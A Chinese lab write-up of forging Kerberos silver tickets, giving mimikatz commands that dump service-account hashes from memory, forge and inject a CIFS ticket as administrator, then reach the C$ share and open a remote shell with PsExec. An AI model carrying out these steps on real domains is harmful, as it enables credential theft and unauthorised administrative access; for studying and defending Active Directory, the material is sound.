伪造白银票据

通过kerberos那篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题

第一个问题:如何证明你本人是XXX用户的问题   由Authentication Server负责

第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责

针对kerberos协议需要解决的第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。攻击者提出了一种思路,伪造TGS票据进行攻击,所以出现了另一种针对kerberos认证的攻击手法-伪造TGS ticket白银票据。

Silver Tickets(白银票据)就是伪造的TGS ticket,TGS ticket中包含了伪造的PAC,用来让服务器获取相应的用户UID等信息,向KDC确认用户是否有权限访问某个服务。

由于白银票据是伪造的TGS票据,所以与域控制器没有步骤1、2、3、4的通信,直接进入到认证的第五步把TGS票据当作AP_REQ的一部分被发送到提供服务的服务器去访问服务。

image

制作白银票据  (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)

制作白银票据的条件:

1.域名称

2.域的SID值

3.域的服务账户的密码HASH

4.伪造的用户名,可以是任意用户名,一般伪造administrator

5.需要访问的服务


第一步:

管理员权限运行mimikatz

privilege::debug #提升权限

sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

第二步:

清空本地票据缓存

kerberos::purge #清理本地票据缓存

kerberos::list #查看本地保存的票据

第三步:

伪造白银票据并导入

kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

第四步:

访问域控的共享目录

dir \\win08\c$

远程登陆,执行命令

PsExec.exe \\win08 cmd.exe

whoami查看权限



黄金票据和白银票据区别

1.TGS ticket针对的是某个机器上的某个服务,TGT针对的是所有机器的所有服务

2.TGT利用krbtgt账户的hash,TGS ticket利用的是服务账户的hash(目标机的hash,以计算机名$显示的账户)


黄金票据的实验结果:

能够在域里边所有机器上都以administrator登录

白银票据的实验结果:

以前就能够psexec的,使用白银票据添加cifs为administrator权限后,能够在psexec之后以administrator登录

以前就不能后动psexesvc的机器,实用白银票据添加cifs后,dir由无权查看变为有权查看

hash位置

运行中的系统,需要从内存抓取->lassas.exe进程里边存放的是活动用户的hash(当前登录的用户)普通域用户或普通工作组:SAM文件(加密后的用户密码)/SYSTEM文件(秘钥)windows/system32/config/SAM存的是当前机器所用户的Hash

域控:ntds.dit所有域用户的账号/密码(hash)

posted @ 2020-02-19 09:31  我要变超人  阅读(571)  评论(0编辑  收藏  举报